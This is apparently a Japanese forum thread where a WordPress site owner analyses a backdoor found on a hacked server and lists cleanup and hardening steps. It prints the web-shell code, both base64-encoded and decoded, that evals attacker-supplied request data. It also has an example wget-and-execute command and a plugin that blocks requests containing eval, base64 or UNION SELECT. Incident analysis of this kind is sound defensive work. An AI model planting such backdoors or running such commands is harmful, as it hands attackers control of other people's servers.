このファイルもいくつか作られていました。
sys_engine53XX.php
<?php eval (base64_decode (“aWYgKGlzc2V0KCRfUkVRVUVTVFsnYXNjJ10pKSB7IGV2YWwoc3RyaXBzbGFzaGVzKCRfUkVRVUVTVFsnYXNjJ10pKTsgZXhpdDsgfS8qIHYweFhKZjIgKi8=”)); ?>
(デコードすると)
if (isset($_REQUEST[‘asc’])) { eval(stripslashes($_REQUEST[‘asc’])); exit; }/* v0xXJf2 */
<?eval(stripslashes(array_pop($_POST)))?>
これは $_POST 配列の最後の値を取り出して、その文字列を PHP コードとして実行するための記述です。
$_POST 配列には、サーバに POST メソッドで送られた値が入りますので、例えば POST で以下のような文字列が送られてきた場合、サーバで UNIX コマンドが実行されてしまいます。
shell_exec('wget http://example.com/evil.script.sh; ./evil.script.sh');
攻撃者は、任意の PHP コードを、HTTP の POST メソッドで送りつけて、あなたのサーバで実行させることができるため、大変危険です。
if (isset($_REQUEST['asc'])) { eval(stripslashes($_REQUEST['asc'])); exit; }/* v0xXJf2 */
こちらも、同様に $_REQUEST[‘asc’] という値があれば、それを PHP コードとして実行します。
$_REQUEST には、POST, GET, COOKIE 等で送られてきたデータが入ります。
攻撃者は POST や GET メソッドで asc という名前で PHP コードを送りつけて、あなたのサーバで実行させることができます。
>>wokamoto様
ご返信ありがとうございますm(_ _)m。
大変参考になりました。
非常に危険なものだということがよく分かりました。
恐らくwordpressのプログラムが最新のものにアップデートされていなったことなどが原因で、最初のバックドアを放り込まれたのだと思います。
若干トラフィックの多いサイトを同じサーバ内で複数運用しているせいか、1年ほど前にもこれと類似した手口の被害にあっていまして、wp-adminにbasic認証をかける、wp-contentを別名のディレクトリにする、セキュリティプラグインを入れるなどの対策をしていたのですが、新たな手口でやられたようです。
上位ディレクトリにまでバックドアが増殖している点、ファイル修正日が分からなくしてある点など、今回の方が手が込んでいました。
ファイルの削除と再アップロード、wordpress再インストール、アップデート、各種プラグインのアップデート、各種パスワード変更をして、今のところおさまっております。
サイト内の感染ファイル検索では下記CGIが有効でした。
http://www.ahref.org/tech/html/685.html
リサーチの結果base64,eval等の絡んだ悪意のあるファイルに対して下記の対処プラグインが挙げられていました(効果ありそうですかね?)
<?php
/*
Plugin Name: Block Bad Queries
Plugin URI: http://perishablepress.com/press/2009/12/22/protect-wordpress-against-malicious-url-requests/
Description: Protect WordPress Against Malicious URL Requests
Author URI: http://perishablepress.com/
Author: Perishable Press
Version: 1.0
*/
global $user_ID; if($user_ID) {
if(!current_user_can('level_10')) {
if (strlen($_SERVER['REQUEST_URI']) > 255 ||
strpos($_SERVER['REQUEST_URI'], "eval(") ||
strpos($_SERVER['REQUEST_URI'], "CONCAT") ||
strpos($_SERVER['REQUEST_URI'], "UNION+SELECT") ||
strpos($_SERVER['REQUEST_URI'], "base64")) {
@header("HTTP/1.1 414 Request-URI Too Long");
@header("Status: 414 Request-URI Too Long");
@header("Connection: Close");
@exit;
}
}
}
?>
http://wptidbits.com/wptidbits/protect-wordpress-against-malicious-url-requests
感染ルートが分かりました。
wp-content ディレクトリのuploads内に
.xcache_akskx.phpというファイルがアップロードされていて、下記URLと同じコードが仕込まれていました。
(.htaccessのように.からファイル名が始まるために、ローカルに落としたサイト内を検索しても見逃していました。)
http://sla.ckers.org/forum/read.php?24,42448,42448
wp-contntのディレクトリは前回被害にあった際にディレクトリ名を変えて、今は使っていなかったのですが、昔のコンテンツが当該ディレクトリ内に残っていたために、ディレクトリ自体は存在し、uploadされてしまったようです。
恐らく感染の手順としては以下のような感じだと思われます
1.wordpress旧バージョンのuploadの脆弱性を付いて最初のバックドア.xcache_akskx.phpをuploadディレクトリ内に設置
2.sys_engineXX.php, wp_info.phpなどをアップロード
3.index.html, index.php等を定期的に改竄
私的対策
1.とにかくwordpressのバージョンは常に最新に (各種プラグインも最新か確認。使っていないプラグイン、更新されていないプラグイン等にも注意。アップデートを見逃さないよう定期的にログイン)
2.wp-content/uploads/から感染するケースが多いので(前回も今回も)このディレクトリ名(wp-content)は変えて運用し、ディレクトリ自体を削除
(以下オプション)
3.php.iniの内容を確認。特にdisable_functionsを設定し、危ういPHP functionsの実行を制限
4. 同じサーバ内でトラフィックの多いwordpressサイトを複数運営しない(1つ感染すると他のサイトのindexファイル等もやられる。サーバを分けてリスク分散)
5. http://www.ahref.org/tech/html/685.html
上記プログラム等を活用して定期的に不審なファイルがアップロードされていないかチェック(特にwordpressプログラムのディレクトリ内)
特に注意すべきストリング
eval, base64_decode, edoced_46esab, gzinflate, gzuncompress, eval(stripslashes
6. 不審なリクエストの制限
http://wptidbits.com/wptidbits/protect-wordpress-against-malicious-url-requests/
(plugin)
http://perishablepress.com/5g-blacklist-2012/
(.htaccess)
↓以下リンク等を編集していたつもりが「投稿」になって連投に(汗) 失礼しました。